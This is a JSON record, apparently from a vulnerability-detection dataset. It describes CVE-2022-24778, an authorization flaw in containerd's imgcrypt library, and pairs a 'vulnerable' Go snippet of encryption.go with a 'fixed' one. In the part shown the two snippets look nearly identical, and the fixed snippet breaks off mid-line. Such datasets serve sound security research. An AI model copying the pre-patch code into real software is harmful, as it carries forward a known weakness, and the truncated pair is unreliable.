{"cve_id": "CVE-2022-24778", "cve_description": "The imgcrypt library provides API exensions for containerd to support encrypted container images and implements the ctd-decoder command line tool for use by containerd to decrypt encrypted container images. The imgcrypt function `CheckAuthorization` is supposed to check whether the current used is authorized to access an encrypted image and prevent the user from running an image that another user previously decrypted on the same system. In versions prior to 1.1.4, a failure occurs when an image with a ManifestList is used and the architecture of the local host is not the first one in the ManifestList. Only the first architecture in the list was tested, which may not have its layers available locally since it could not be run on the host architecture. Therefore, the verdict on unavailable layers was that the image could be run anticipating that image run failure would occur later due to the layers not being available. However, this verdict to allow the image to run enabled other architectures in the ManifestList to run an image without providing keys if that image had previously been decrypted. A patch has been applied to imgcrypt 1.1.4. Workarounds may include usage of different namespaces for each remote user.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/containerd/imgcrypt", "patch_url": ["https://github.com/containerd/imgcrypt/commit/6fdd9818a4d8142107b7ecd767d839c9707700d9"], "programing_language": "Go", "vul_func": [{"id": "vul_go_227_1", "commit": "f440058", "file_path": "images/encryption/encryption.go", "start_line": "53", "end_line": "425", "snippet": "// IsEncryptedDiff returns true if mediaType is a known encrypted media type.\nfunc IsEncryptedDiff(ctx context.Context, mediaType string) bool {\n\tswitch mediaType {\n\tcase encocispec.MediaTypeLayerGzipEnc, encocispec.MediaTypeLayerEnc:\n\t\treturn true\n\t}\n\treturn false\n}\n\n// HasEncryptedLayer returns true if any LayerInfo indicates that the layer is encrypted\nfunc HasEncryptedLayer(ctx context.Context, layerInfos []ocispec.Descriptor) bool {\n\tfor i := 0; i < len(layerInfos); i++ {\n\t\tif IsEncryptedDiff(ctx, layerInfos[i].MediaType) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// encryptLayer encrypts the layer using the CryptoConfig and creates a new OCI Descriptor.\n// A call to this function may also only manipulate the wrapped keys list.\n// The caller is expected to store the returned encrypted data and OCI Descriptor\nfunc encryptLayer(cc *encconfig.CryptoConfig, dataReader content.ReaderAt, desc ocispec.Descriptor) (ocispec.Descriptor, io.Reader, ocicrypt.EncryptLayerFinalizer, error) {\n\tvar (\n\t\tsize int64\n\t\td    digest.Digest\n\t\terr  error\n\t)\n\n\tencLayerReader, encLayerFinalizer, err := ocicrypt.EncryptLayer(cc.EncryptConfig, ocicrypt.ReaderFromReaderAt(dataReader), desc)\n\tif err != nil {\n\t\treturn ocispec.Descriptor{}, nil, nil, err\n\t}\n\n\t// were data touched ?\n\tif encLayerReader != nil {\n\t\tsize = 0\n\t\td = \"\"\n\t} else {\n\t\tsize = desc.Size\n\t\td = desc.Digest\n\t}\n\n\tnewDesc := ocispec.Descriptor{\n\t\tDigest:   d,\n\t\tSize:     size,\n\t\tPlatform: desc.Platform,\n\t}\n\n\tswitch desc.MediaType {\n\tcase images.MediaTypeDockerSchema2LayerGzip:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerGzipEnc\n\tcase images.MediaTypeDockerSchema2Layer:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerEnc\n\tcase encocispec.MediaTypeLayerGzipEnc:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerGzipEnc\n\tcase encocispec.MediaTypeLayerEnc:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerEnc\n\n\t// TODO: Mediatypes to be added in ocispec\n\tcase ocispec.MediaTypeImageLayerGzip:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerGzipEnc\n\tcase ocispec.MediaTypeImageLayer:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerEnc\n\n\tdefault:\n\t\treturn ocispec.Descriptor{}, nil, nil, fmt.Errorf(\"unsupporter layer MediaType: %s\", desc.MediaType)\n\t}\n\n\treturn newDesc, encLayerReader, encLayerFinalizer, nil\n}\n\n// DecryptLayer decrypts the layer using the DecryptConfig and creates a new OCI Descriptor.\n// The caller is expected to store the returned plain data and OCI Descriptor\nfunc DecryptLayer(dc *encconfig.DecryptConfig, dataReader io.Reader, desc ocispec.Descriptor, unwrapOnly bool) (ocispec.Descriptor, io.Reader, digest.Digest, error) {\n\tresultReader, layerDigest, err := ocicrypt.DecryptLayer(dc, dataReader, desc, unwrapOnly)\n\tif err != nil || unwrapOnly {\n\t\treturn ocispec.Descriptor{}, nil, \"\", err\n\t}\n\n\tnewDesc := ocispec.Descriptor{\n\t\tSize:     0,\n\t\tPlatform: desc.Platform,\n\t}\n\n\tswitch desc.MediaType {\n\tcase encocispec.MediaTypeLayerGzipEnc:\n\t\tnewDesc.MediaType = images.MediaTypeDockerSchema2LayerGzip\n\tcase encocispec.MediaTypeLayerEnc:\n\t\tnewDesc.MediaType = images.MediaTypeDockerSchema2Layer\n\tdefault:\n\t\treturn ocispec.Descriptor{}, nil, \"\", fmt.Errorf(\"unsupporter layer MediaType: %s\", desc.MediaType)\n\t}\n\treturn newDesc, resultReader, layerDigest, nil\n}\n\n// decryptLayer decrypts the layer using the CryptoConfig and creates a new OCI Descriptor.\n// The caller is expected to store the returned plain data and OCI Descriptor\nfunc decryptLayer(cc *encconfig.CryptoConfig, dataReader content.ReaderAt, desc ocispec.Descriptor, unwrapOnly bool) (ocispec.Descriptor, io.Reader, error) {\n\tresultReader, d, err := ocicrypt.DecryptLayer(cc.DecryptConfig, ocicrypt.ReaderFromReaderAt(dataReader), desc, unwrapOnly)\n\tif err != nil || unwrapOnly {\n\t\treturn ocispec.Descriptor{}, nil, err\n\t}\n\n\tnewDesc := ocispec.Descriptor{\n\t\tDigest:   d,\n\t\tSize:     0,\n\t\tPlatform: desc.Platform,\n\t}\n\n\tswitch desc.MediaType {\n\tcase encocispec.MediaTypeLayerGzipEnc:\n\t\tnewDesc.MediaType = images.MediaTypeDockerSchema2LayerGzip\n\tcase encocispec.MediaTypeLayerEnc:\n\t\tnewDesc.MediaType = images.MediaTypeDockerSchema2Layer\n\tdefault:\n\t\treturn ocispec.Descriptor{}, nil, fmt.Errorf(\"unsupporter layer MediaType: %s\", desc.MediaType)\n\t}\n\treturn newDesc, resultReader, nil\n}\n\n// cryptLayer handles the changes due to encryption or decryption of a layer\nfunc cryptLayer(ctx context.Context, cs content.Store, desc ocispec.Descriptor, cc *encconfig.CryptoConfig, cryptoOp cryptoOp) (ocispec.Descriptor, error) {\n\tvar (\n\t\tresultReader      io.Reader\n\t\tnewDesc           ocispec.Descriptor\n\t\tencLayerFinalizer ocicrypt.EncryptLayerFinalizer\n\t)\n\n\tdataReader, err := cs.ReaderAt(ctx, desc)\n\tif err != nil {\n\t\treturn ocispec.Descriptor{}, err\n\t}\n\tdefer dataReader.Close()\n\n\tif cryptoOp == cryptoOpEncrypt {\n\t\tnewDesc, resultReader, encLayerFinalizer, err = encryptLayer(cc, dataReader, desc)\n\t} else {\n\t\tnewDesc, resultReader, err = decryptLayer(cc, dataReader, desc, cryptoOp == cryptoOpUnwrapOnly)\n\t}\n\tif err != nil || cryptoOp == cryptoOpUnwrapOnly {\n\t\treturn ocispec.Descriptor{}, err\n\t}\n\n\tnewDesc.Annotations = ocicrypt.FilterOutAnnotations(desc.Annotations)\n\n\t// some operations, such as changing recipients, may not touch the layer at all\n\tif resultReader != nil {\n\t\tvar ref string\n\t\t// If we have the digest, write blob with checks\n\t\thaveDigest := newDesc.Digest.String() != \"\"\n\t\tif haveDigest {\n\t\t\tref = fmt.Sprintf(\"layer-%s\", newDesc.Digest.String())\n\t\t} else {\n\t\t\tref = fmt.Sprintf(\"blob-%d-%d\", rand.Int(), rand.Int())\n\t\t}\n\n\t\tif haveDigest {\n\t\t\tif err := content.WriteBlob(ctx, cs, ref, resultReader, newDesc); err != nil {\n\t\t\t\treturn ocispec.Descriptor{}, fmt.Errorf(\"failed to write config: %w\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tnewDesc.Digest, newDesc.Size, err = ingestReader(ctx, cs, ref, resultReader)\n\t\t\tif err != nil {\n\t\t\t\treturn ocispec.Descriptor{}, err\n\t\t\t}\n\t\t}\n\t}\n\n\t// After performing encryption, call finalizer to get annotations\n\tif encLayerFinalizer != nil {\n\t\tannotations, err := encLayerFinalizer()\n\t\tif err != nil {\n\t\t\treturn ocispec.Descriptor{}, fmt.Errorf(\"error getting annotations from encLayer finalizer: %w\", err)\n\t\t}\n\t\tfor k, v := range annotations {\n\t\t\tnewDesc.Annotations[k] = v\n\t\t}\n\t}\n\treturn newDesc, err\n}\n\nfunc ingestReader(ctx context.Context, cs content.Ingester, ref string, r io.Reader) (digest.Digest, int64, error) {\n\tcw, err := content.OpenWriter(ctx, cs, content.WithRef(ref))\n\tif err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"failed to open writer: %w\", err)\n\t}\n\tdefer cw.Close()\n\n\tif _, err := content.CopyReader(cw, r); err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"copy failed: %w\", err)\n\t}\n\n\tst, err := cw.Status()\n\tif err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"failed to get state: %w\", err)\n\t}\n\n\tif err := cw.Commit(ctx, st.Offset, \"\"); err != nil {\n\t\tif !errdefs.IsAlreadyExists(err) {\n\t\t\treturn \"\", 0, fmt.Errorf(\"failed commit on ref %q: %w\", ref, err)\n\t\t}\n\t}\n\n\treturn cw.Digest(), st.Offset, nil\n}\n\n// Encrypt or decrypt all the Children of a given descriptor\nfunc cryptChildren(ctx context.Context, cs content.Store, desc ocispec.Descriptor, cc *encconfig.CryptoConfig, lf LayerFilter, cryptoOp cryptoOp, thisPlatform *ocispec.Platform) (ocispec.Descriptor, bool, error) {\n\tchildren, err := images.Children(ctx, cs, desc)\n\tif err != nil {\n\t\tif errdefs.IsNotFound(err) {\n\t\t\treturn desc, false, nil\n\t\t}\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\n\tvar newLayers []ocispec.Descriptor\n\tvar config ocispec.Descriptor\n\tmodified := false\n\n\tfor _, child := range children {\n\t\t// we only encrypt child layers and have to update their parents if encryption happened\n\t\tswitch child.MediaType {\n\t\tcase images.MediaTypeDockerSchema2Config, ocispec.MediaTypeImageConfig:\n\t\t\tconfig = child\n\t\tcase images.MediaTypeDockerSchema2LayerGzip, images.MediaTypeDockerSchema2Layer,\n\t\t\tocispec.MediaTypeImageLayerGzip, ocispec.MediaTypeImageLayer:\n\t\t\tif cryptoOp == cryptoOpEncrypt && lf(child) {\n\t\t\t\tnl, err := cryptLayer(ctx, cs, child, cc, cryptoOp)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn ocispec.Descriptor{}, false, err\n\t\t\t\t}\n\t\t\t\tmodified = true\n\t\t\t\tnewLayers = append(newLayers, nl)\n\t\t\t} else {\n\t\t\t\tnewLayers = append(newLayers, child)\n\t\t\t}\n\t\tcase encocispec.MediaTypeLayerGzipEnc, encocispec.MediaTypeLayerEnc:\n\t\t\t// this one can be decrypted but also its recipients list changed\n\t\t\tif lf(child) {\n\t\t\t\tnl, err := cryptLayer(ctx, cs, child, cc, cryptoOp)\n\t\t\t\tif err != nil || cryptoOp == cryptoOpUnwrapOnly {\n\t\t\t\t\treturn ocispec.Descriptor{}, false, err\n\t\t\t\t}\n\t\t\t\tmodified = true\n\t\t\t\tnewLayers = append(newLayers, nl)\n\t\t\t} else {\n\t\t\t\tnewLayers = append(newLayers, child)\n\t\t\t}\n\t\tcase images.MediaTypeDockerSchema2LayerForeign, images.MediaTypeDockerSchema2LayerForeignGzip:\n\t\t\t// never encrypt/decrypt\n\t\t\tnewLayers = append(newLayers, child)\n\t\tdefault:\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"bad/unhandled MediaType %s in encryptChildren\", child.MediaType)\n\t\t}\n\t}\n\n\tif modified && len(newLayers) > 0 {\n\t\tnewManifest := ocispec.Manifest{\n\t\t\tVersioned: specs.Versioned{\n\t\t\t\tSchemaVersion: 2,\n\t\t\t},\n\t\t\tConfig: config,\n\t\t\tLayers: newLayers,\n\t\t}\n\n\t\tmb, err := json.MarshalIndent(newManifest, \"\", \"   \")\n\t\tif err != nil {\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"failed to marshal image: %w\", err)\n\t\t}\n\n\t\tnewDesc := ocispec.Descriptor{\n\t\t\tMediaType: ocispec.MediaTypeImageManifest,\n\t\t\tSize:      int64(len(mb)),\n\t\t\tDigest:    digest.Canonical.FromBytes(mb),\n\t\t\tPlatform:  desc.Platform,\n\t\t}\n\n\t\tlabels := map[string]string{}\n\t\tlabels[\"containerd.io/gc.ref.content.0\"] = newManifest.Config.Digest.String()\n\t\tfor i, ch := range newManifest.Layers {\n\t\t\tlabels[fmt.Sprintf(\"containerd.io/gc.ref.content.%d\", i+1)] = ch.Digest.String()\n\t\t}\n\n\t\tref := fmt.Sprintf(\"manifest-%s\", newDesc.Digest.String())\n\n\t\tif err := content.WriteBlob(ctx, cs, ref, bytes.NewReader(mb), newDesc, content.WithLabels(labels)); err != nil {\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"failed to write config: %w\", err)\n\t\t}\n\t\treturn newDesc, true, nil\n\t}\n\n\treturn desc, modified, nil\n}\n\n// cryptManifest encrypts or decrypts the children of a top level manifest\nfunc cryptManifest(ctx context.Context, cs content.Store, desc ocispec.Descriptor, cc *encconfig.CryptoConfig, lf LayerFilter, cryptoOp cryptoOp) (ocispec.Descriptor, bool, error) {\n\tp, err := content.ReadBlob(ctx, cs, desc)\n\tif err != nil {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\tvar manifest ocispec.Manifest\n\tif err := json.Unmarshal(p, &manifest); err != nil {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\tplatform := platforms.DefaultSpec()\n\tnewDesc, modified, err := cryptChildren(ctx, cs, desc, cc, lf, cryptoOp, &platform)\n\tif err != nil || cryptoOp == cryptoOpUnwrapOnly {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\treturn newDesc, modified, nil\n}\n\n// cryptManifestList encrypts or decrypts the children of a top level manifest list\nfunc cryptManifestList(ctx context.Context, cs content.Store, desc ocispec.Descriptor, cc *encconfig.CryptoConfig, lf LayerFilter, cryptoOp cryptoOp) (ocispec.Descriptor, bool, error) {\n\t// read the index; if any layer is encrypted and any manifests change we will need to rewrite it\n\tb, err := content.ReadBlob(ctx, cs, desc)\n\tif err != nil {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\n\tvar index ocispec.Index\n\tif err := json.Unmarshal(b, &index); err != nil {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\n\tvar newManifests []ocispec.Descriptor\n\tmodified := false\n\tfor _, manifest := range index.Manifests {\n\t\tnewManifest, m, err := cryptChildren(ctx, cs, manifest, cc, lf, cryptoOp, manifest.Platform)\n\t\tif err != nil || cryptoOp == cryptoOpUnwrapOnly {\n\t\t\treturn ocispec.Descriptor{}, false, err\n\t\t}\n\t\tif m {\n\t\t\tmodified = true\n\t\t}\n\t\tnewManifests = append(newManifests, newManifest)\n\t}\n\n\tif modified {\n\t\t// we need to update the index\n\t\tnewIndex := ocispec.Index{\n\t\t\tVersioned: index.Versioned,\n\t\t\tManifests: newManifests,\n\t\t}\n\n\t\tmb, err := json.MarshalIndent(newIndex, \"\", \"   \")\n\t\tif err != nil {\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"failed to marshal index: %w\", err)\n\t\t}\n\n\t\tnewDesc := ocispec.Descriptor{\n\t\t\tMediaType: ocispec.MediaTypeImageIndex,\n\t\t\tSize:      int64(len(mb)),\n\t\t\tDigest:    digest.Canonical.FromBytes(mb),\n\t\t}\n\n\t\tlabels := map[string]string{}\n\t\tfor i, m := range newIndex.Manifests {\n\t\t\tlabels[fmt.Sprintf(\"containerd.io/gc.ref.content.%d\", i)] = m.Digest.String()\n\t\t}\n\n\t\tref := fmt.Sprintf(\"index-%s\", newDesc.Digest.String())\n\n\t\tif err = content.WriteBlob(ctx, cs, ref, bytes.NewReader(mb), newDesc, content.WithLabels(labels)); err != nil {\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"failed to write index: %w\", err)\n\t\t}\n\t\treturn newDesc, true, nil\n\t}\n\n\treturn desc, false, nil\n}"}], "fix_func": [{"id": "fix_go_227_1", "commit": "6fdd981", "file_path": "images/encryption/encryption.go", "start_line": "60", "end_line": "438", "snippet": "// IsEncryptedDiff returns true if mediaType is a known encrypted media type.\nfunc IsEncryptedDiff(ctx context.Context, mediaType string) bool {\n\tswitch mediaType {\n\tcase encocispec.MediaTypeLayerGzipEnc, encocispec.MediaTypeLayerEnc:\n\t\treturn true\n\t}\n\treturn false\n}\n\n// HasEncryptedLayer returns true if any LayerInfo indicates that the layer is encrypted\nfunc HasEncryptedLayer(ctx context.Context, layerInfos []ocispec.Descriptor) bool {\n\tfor i := 0; i < len(layerInfos); i++ {\n\t\tif IsEncryptedDiff(ctx, layerInfos[i].MediaType) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// encryptLayer encrypts the layer using the CryptoConfig and creates a new OCI Descriptor.\n// A call to this function may also only manipulate the wrapped keys list.\n// The caller is expected to store the returned encrypted data and OCI Descriptor\nfunc encryptLayer(cc *encconfig.CryptoConfig, dataReader content.ReaderAt, desc ocispec.Descriptor) (ocispec.Descriptor, io.Reader, ocicrypt.EncryptLayerFinalizer, error) {\n\tvar (\n\t\tsize int64\n\t\td    digest.Digest\n\t\terr  error\n\t)\n\n\tencLayerReader, encLayerFinalizer, err := ocicrypt.EncryptLayer(cc.EncryptConfig, ocicrypt.ReaderFromReaderAt(dataReader), desc)\n\tif err != nil {\n\t\treturn ocispec.Descriptor{}, nil, nil, err\n\t}\n\n\t// were data touched ?\n\tif encLayerReader != nil {\n\t\tsize = 0\n\t\td = \"\"\n\t} else {\n\t\tsize = desc.Size\n\t\td = desc.Digest\n\t}\n\n\tnewDesc := ocispec.Descriptor{\n\t\tDigest:   d,\n\t\tSize:     size,\n\t\tPlatform: desc.Platform,\n\t}\n\n\tswitch desc.MediaType {\n\tcase images.MediaTypeDockerSchema2LayerGzip:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerGzipEnc\n\tcase images.MediaTypeDockerSchema2Layer:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerEnc\n\tcase encocispec.MediaTypeLayerGzipEnc:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerGzipEnc\n\tcase encocispec.MediaTypeLayerEnc:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerEnc\n\n\t// TODO: Mediatypes to be added in ocispec\n\tcase ocispec.MediaTypeImageLayerGzip:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerGzipEnc\n\tcase ocispec.MediaTypeImageLayer:\n\t\tnewDesc.MediaType = encocispec.MediaTypeLayerEnc\n\n\tdefault:\n\t\treturn ocispec.Descriptor{}, nil, nil, fmt.Errorf(\"unsupporter layer MediaType: %s\", desc.MediaType)\n\t}\n\n\treturn newDesc, encLayerReader, encLayerFinalizer, nil\n}\n\n// DecryptLayer decrypts the layer using the DecryptConfig and creates a new OCI Descriptor.\n// The caller is expected to store the returned plain data and OCI Descriptor\nfunc DecryptLayer(dc *encconfig.DecryptConfig, dataReader io.Reader, desc ocispec.Descriptor, unwrapOnly bool) (ocispec.Descriptor, io.Reader, digest.Digest, error) {\n\tresultReader, layerDigest, err := ocicrypt.DecryptLayer(dc, dataReader, desc, unwrapOnly)\n\tif err != nil || unwrapOnly {\n\t\treturn ocispec.Descriptor{}, nil, \"\", err\n\t}\n\n\tnewDesc := ocispec.Descriptor{\n\t\tSize:     0,\n\t\tPlatform: desc.Platform,\n\t}\n\n\tswitch desc.MediaType {\n\tcase encocispec.MediaTypeLayerGzipEnc:\n\t\tnewDesc.MediaType = images.MediaTypeDockerSchema2LayerGzip\n\tcase encocispec.MediaTypeLayerEnc:\n\t\tnewDesc.MediaType = images.MediaTypeDockerSchema2Layer\n\tdefault:\n\t\treturn ocispec.Descriptor{}, nil, \"\", fmt.Errorf(\"unsupporter layer MediaType: %s\", desc.MediaType)\n\t}\n\treturn newDesc, resultReader, layerDigest, nil\n}\n\n// decryptLayer decrypts the layer using the CryptoConfig and creates a new OCI Descriptor.\n// The caller is expected to store the returned plain data and OCI Descriptor\nfunc decryptLayer(cc *encconfig.CryptoConfig, dataReader content.ReaderAt, desc ocispec.Descriptor, unwrapOnly bool) (ocispec.Descriptor, io.Reader, error) {\n\tresultReader, d, err := ocicrypt.DecryptLayer(cc.DecryptConfig, ocicrypt.ReaderFromReaderAt(dataReader), desc, unwrapOnly)\n\tif err != nil || unwrapOnly {\n\t\treturn ocispec.Descriptor{}, nil, err\n\t}\n\n\tnewDesc := ocispec.Descriptor{\n\t\tDigest:   d,\n\t\tSize:     0,\n\t\tPlatform: desc.Platform,\n\t}\n\n\tswitch desc.MediaType {\n\tcase encocispec.MediaTypeLayerGzipEnc:\n\t\tnewDesc.MediaType = images.MediaTypeDockerSchema2LayerGzip\n\tcase encocispec.MediaTypeLayerEnc:\n\t\tnewDesc.MediaType = images.MediaTypeDockerSchema2Layer\n\tdefault:\n\t\treturn ocispec.Descriptor{}, nil, fmt.Errorf(\"unsupporter layer MediaType: %s\", desc.MediaType)\n\t}\n\treturn newDesc, resultReader, nil\n}\n\n// cryptLayer handles the changes due to encryption or decryption of a layer\nfunc cryptLayer(ctx context.Context, cs content.Store, desc ocispec.Descriptor, cc *encconfig.CryptoConfig, cryptoOp cryptoOp) (ocispec.Descriptor, error) {\n\tvar (\n\t\tresultReader      io.Reader\n\t\tnewDesc           ocispec.Descriptor\n\t\tencLayerFinalizer ocicrypt.EncryptLayerFinalizer\n\t)\n\n\tdataReader, err := cs.ReaderAt(ctx, desc)\n\tif err != nil {\n\t\treturn ocispec.Descriptor{}, err\n\t}\n\tdefer dataReader.Close()\n\n\tif cryptoOp == cryptoOpEncrypt {\n\t\tnewDesc, resultReader, encLayerFinalizer, err = encryptLayer(cc, dataReader, desc)\n\t} else {\n\t\tnewDesc, resultReader, err = decryptLayer(cc, dataReader, desc, cryptoOp == cryptoOpUnwrapOnly)\n\t}\n\tif err != nil || cryptoOp == cryptoOpUnwrapOnly {\n\t\treturn ocispec.Descriptor{}, err\n\t}\n\n\tnewDesc.Annotations = ocicrypt.FilterOutAnnotations(desc.Annotations)\n\n\t// some operations, such as changing recipients, may not touch the layer at all\n\tif resultReader != nil {\n\t\tvar ref string\n\t\t// If we have the digest, write blob with checks\n\t\thaveDigest := newDesc.Digest.String() != \"\"\n\t\tif haveDigest {\n\t\t\tref = fmt.Sprintf(\"layer-%s\", newDesc.Digest.String())\n\t\t} else {\n\t\t\tref = fmt.Sprintf(\"blob-%d-%d\", rand.Int(), rand.Int())\n\t\t}\n\n\t\tif haveDigest {\n\t\t\tif err := content.WriteBlob(ctx, cs, ref, resultReader, newDesc); err != nil {\n\t\t\t\treturn ocispec.Descriptor{}, fmt.Errorf(\"failed to write config: %w\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tnewDesc.Digest, newDesc.Size, err = ingestReader(ctx, cs, ref, resultReader)\n\t\t\tif err != nil {\n\t\t\t\treturn ocispec.Descriptor{}, err\n\t\t\t}\n\t\t}\n\t}\n\n\t// After performing encryption, call finalizer to get annotations\n\tif encLayerFinalizer != nil {\n\t\tannotations, err := encLayerFinalizer()\n\t\tif err != nil {\n\t\t\treturn ocispec.Descriptor{}, fmt.Errorf(\"error getting annotations from encLayer finalizer: %w\", err)\n\t\t}\n\t\tfor k, v := range annotations {\n\t\t\tnewDesc.Annotations[k] = v\n\t\t}\n\t}\n\treturn newDesc, err\n}\n\nfunc ingestReader(ctx context.Context, cs content.Ingester, ref string, r io.Reader) (digest.Digest, int64, error) {\n\tcw, err := content.OpenWriter(ctx, cs, content.WithRef(ref))\n\tif err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"failed to open writer: %w\", err)\n\t}\n\tdefer cw.Close()\n\n\tif _, err := content.CopyReader(cw, r); err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"copy failed: %w\", err)\n\t}\n\n\tst, err := cw.Status()\n\tif err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"failed to get state: %w\", err)\n\t}\n\n\tif err := cw.Commit(ctx, st.Offset, \"\"); err != nil {\n\t\tif !errdefs.IsAlreadyExists(err) {\n\t\t\treturn \"\", 0, fmt.Errorf(\"failed commit on ref %q: %w\", ref, err)\n\t\t}\n\t}\n\n\treturn cw.Digest(), st.Offset, nil\n}\n\n// Encrypt or decrypt all the Children of a given descriptor\nfunc cryptChildren(ctx context.Context, cs content.Store, desc ocispec.Descriptor, cc *encconfig.CryptoConfig, lf LayerFilter, cryptoOp cryptoOp, thisPlatform *ocispec.Platform) (ocispec.Descriptor, bool, error) {\n\tchildren, err := images.Children(ctx, cs, desc)\n\tif err != nil {\n\t\tif errdefs.IsNotFound(err) {\n\t\t\treturn desc, false, nil\n\t\t}\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\n\tvar newLayers []ocispec.Descriptor\n\tvar config ocispec.Descriptor\n\tmodified := false\n\n\tfor _, child := range children {\n\t\t// we only encrypt child layers and have to update their parents if encryption happened\n\t\tswitch child.MediaType {\n\t\tcase images.MediaTypeDockerSchema2Config, ocispec.MediaTypeImageConfig:\n\t\t\tconfig = child\n\t\tcase images.MediaTypeDockerSchema2LayerGzip, images.MediaTypeDockerSchema2Layer,\n\t\t\tocispec.MediaTypeImageLayerGzip, ocispec.MediaTypeImageLayer:\n\t\t\tif cryptoOp == cryptoOpEncrypt && lf(child) {\n\t\t\t\tnl, err := cryptLayer(ctx, cs, child, cc, cryptoOp)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn ocispec.Descriptor{}, false, err\n\t\t\t\t}\n\t\t\t\tmodified = true\n\t\t\t\tnewLayers = append(newLayers, nl)\n\t\t\t} else {\n\t\t\t\tnewLayers = append(newLayers, child)\n\t\t\t}\n\t\tcase encocispec.MediaTypeLayerGzipEnc, encocispec.MediaTypeLayerEnc:\n\t\t\t// this one can be decrypted but also its recipients list changed\n\t\t\tif lf(child) {\n\t\t\t\tnl, err := cryptLayer(ctx, cs, child, cc, cryptoOp)\n\t\t\t\tif err != nil || cryptoOp == cryptoOpUnwrapOnly {\n\t\t\t\t\treturn ocispec.Descriptor{}, false, err\n\t\t\t\t}\n\t\t\t\tmodified = true\n\t\t\t\tnewLayers = append(newLayers, nl)\n\t\t\t} else {\n\t\t\t\tnewLayers = append(newLayers, child)\n\t\t\t}\n\t\tcase images.MediaTypeDockerSchema2LayerForeign, images.MediaTypeDockerSchema2LayerForeignGzip:\n\t\t\t// never encrypt/decrypt\n\t\t\tnewLayers = append(newLayers, child)\n\t\tdefault:\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"bad/unhandled MediaType %s in encryptChildren\", child.MediaType)\n\t\t}\n\t}\n\n\tif modified && len(newLayers) > 0 {\n\t\tnewManifest := ocispec.Manifest{\n\t\t\tVersioned: specs.Versioned{\n\t\t\t\tSchemaVersion: 2,\n\t\t\t},\n\t\t\tConfig: config,\n\t\t\tLayers: newLayers,\n\t\t}\n\n\t\tmb, err := json.MarshalIndent(newManifest, \"\", \"   \")\n\t\tif err != nil {\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"failed to marshal image: %w\", err)\n\t\t}\n\n\t\tnewDesc := ocispec.Descriptor{\n\t\t\tMediaType: ocispec.MediaTypeImageManifest,\n\t\t\tSize:      int64(len(mb)),\n\t\t\tDigest:    digest.Canonical.FromBytes(mb),\n\t\t\tPlatform:  desc.Platform,\n\t\t}\n\n\t\tlabels := map[string]string{}\n\t\tlabels[\"containerd.io/gc.ref.content.0\"] = newManifest.Config.Digest.String()\n\t\tfor i, ch := range newManifest.Layers {\n\t\t\tlabels[fmt.Sprintf(\"containerd.io/gc.ref.content.%d\", i+1)] = ch.Digest.String()\n\t\t}\n\n\t\tref := fmt.Sprintf(\"manifest-%s\", newDesc.Digest.String())\n\n\t\tif err := content.WriteBlob(ctx, cs, ref, bytes.NewReader(mb), newDesc, content.WithLabels(labels)); err != nil {\n\t\t\treturn ocispec.Descriptor{}, false, fmt.Errorf(\"failed to write config: %w\", err)\n\t\t}\n\t\treturn newDesc, true, nil\n\t}\n\n\treturn desc, modified, nil\n}\n\n// cryptManifest encrypts or decrypts the children of a top level manifest\nfunc cryptManifest(ctx context.Context, cs content.Store, desc ocispec.Descriptor, cc *encconfig.CryptoConfig, lf LayerFilter, cryptoOp cryptoOp) (ocispec.Descriptor, bool, error) {\n\tp, err := content.ReadBlob(ctx, cs, desc)\n\tif err != nil {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\tvar manifest ocispec.Manifest\n\tif err := json.Unmarshal(p, &manifest); err != nil {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\tplatform := platforms.DefaultSpec()\n\tnewDesc, modified, err := cryptChildren(ctx, cs, desc, cc, lf, cryptoOp, &platform)\n\tif err != nil || cryptoOp == cryptoOpUnwrapOnly {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\treturn newDesc, modified, nil\n}\n\n// cryptManifestList encrypts or decrypts the children of a top level manifest list\nfunc cryptManifestList(ctx context.Context, cs content.Store, desc ocispec.Descriptor, cc *encconfig.CryptoConfig, lf LayerFilter, cryptoOp cryptoOp) (ocispec.Descriptor, bool, error) {\n\t// read the index; if any layer is encrypted and any manifests change we will need to rewrite it\n\tb, err := content.ReadBlob(ctx, cs, desc)\n\tif err != nil {\n\t\treturn ocispec.Descriptor{}, false, err\n\t}\n\n\tvar index ocispec.Index\n\tif err := 